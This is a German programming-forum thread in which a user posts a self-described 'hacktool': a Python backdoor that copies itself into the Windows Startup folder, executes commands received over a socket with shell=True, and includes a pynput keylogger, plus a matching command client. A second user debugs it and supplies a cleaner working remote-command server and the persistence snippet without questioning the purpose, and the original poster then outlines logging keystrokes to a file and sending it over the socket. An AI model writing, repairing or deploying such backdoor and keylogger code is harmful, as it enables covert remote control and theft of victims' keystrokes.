Hacktool mit Keylogger

Wenn du dir nicht sicher bist, in welchem der anderen Foren du die Frage stellen sollst, dann bist du hier im Forum für allgemeine Fragen sicher richtig.
Antworten
Henri.py
User
Beiträge: 20
Registriert: Sonntag 28. März 2021, 15:33

Hi,
ich habe ein kleines Hacktool geschrieben(Natürlich nur zu Testzwecken) mit einer Backdoor und einem Keylogger. Und ich habe folgendes Problem. Obwohl ich das ganze in einer while schleife geschrieben habe wird das versenden und recv mit socket nicht richtig ausgeführt. Es gibt keine Fehlermeldung und ich glaube das Problem liegt am Server und zwar genau bei dem Keylogger der mit der with funktion ausgeführt wird.
Hier ist der Server:



import shutil
import os
import getpass
import socket
import subprocess
import pynput
from pynput.keyboard import Key, Listener
import threading

username = getpass.getuser()
source = (os.path.abspath(os.getcwd()) + r'\spy.py')
destination = r'C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Hack.pyw'.format(username)
shutil.copy(source, destination)

HOST = '127.0.0.1' # '192.168.43.82'
PORT = 8081 # 2222
server = socket.socket()
server.bind((HOST, PORT))
server.listen(1)

def press(key):
print(key)
return False
def release(key):
return False
def accept():
while True:
client, client_addr = server.accept()
def main():
while True:
try:
with Listener(on_press=press, on_release=release) as l: #PROBLEMA
l.join()
command = client.recv(1024)
command = command.decode('utf-8')
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
output = op.stdout.read()
output_error = op.stderr.read()
client.send(output + output_error)
except:
1+1


a = threading.Thread(target=accept)
m = threading.Thread(target=main)
a.start()
m.start()

Client:
import socket

REMOTE_HOST = '127.0.0.1' # '192.168.43.82'
REMOTE_PORT = 8081 # 2222
client = socket.socket()
print("[-] Connection Initiating...")
client.connect((REMOTE_HOST, REMOTE_PORT))
print("[-] Connection initiated!")

while True:
try:
command = input('Enter Command : ')
command = command.encode('utf-8')
client.send(command)
print('[+] Command sent')
output = client.recv(1024)
output = output.decode('utf-8')
print(f"Output: {output}")
except:
print('[!]Ein Fehler ist aufgetreten(Der Server ist entweder offline oder der Befehl sorgt für Probleme)')

ich würde mich sehr über eure Hilfe freuen
Sirius3
User
Beiträge: 18272
Registriert: Sonntag 21. Oktober 2012, 17:20

Statt Pfade per Stringformatierung zusammenzubauen benutzt man pathlib.Path.
Du befindest dich automatisch im aktuellen Verzeichnis, das so kompliziert zu ermitteln ist also unnötig.

Code: Alles auswählen

import shutil
from pathlib import Path
SOURCE = "spy.py"
DESTINATION = Path.home() / "AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/Hack.pyw"
shutil.copy(SOURCE, DESTINATION)
Was sollen die main- und accept-Threads? Der accept-Thread funktioniert gar nicht, weil client lokal ist und in main gar nicht definiert ist.
Socket-Programmierung funktioniert auch so nicht. Wie 99.999% aller Beispiele im Internet ist der Code einfach nur kaputt. Low-Level-Sockets möchtest Du nicht programmieren.

Statt subprocess.Popen reicht bei Dir subprocess.run. Dann vergisst Du auch nicht wait aufzurufen.
Benutze niemals nackte Excepts, denn so werden auch alle Deine Programmierfehler versteckt und Du kannst niemals die Fehler korrigieren.

Code: Alles auswählen

import socket
import subprocess

HOST = '127.0.0.1'
PORT = 8081

def main():
    server = socket.socket()
    server.bind((HOST, PORT))
    server.listen(1)
    while True:
        client, client_addr = server.accept()
        reader = client.makefile("r", encoding="utf-8")
        writer = client.makefile("w", encoding="utf-8")
        for command in reader:
            process = subprocess.run(command.strip(), shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
            writer.write(process.stdout + process.stderr)

if __name__ == "__main__":
    main()
Henri.py
User
Beiträge: 20
Registriert: Sonntag 28. März 2021, 15:33

wow danke für die Hilfe,
ich habe überlegt, wenn ich den KEylogger nicht in die while schleife einfügen kann könnte ich ihn doch auch als einzelne datei in die autostart datei einfügen, ihn alle seine daten in eine Text datei schreiben lassen und diese dann über spy.py per socket verschicken lassen.
Antworten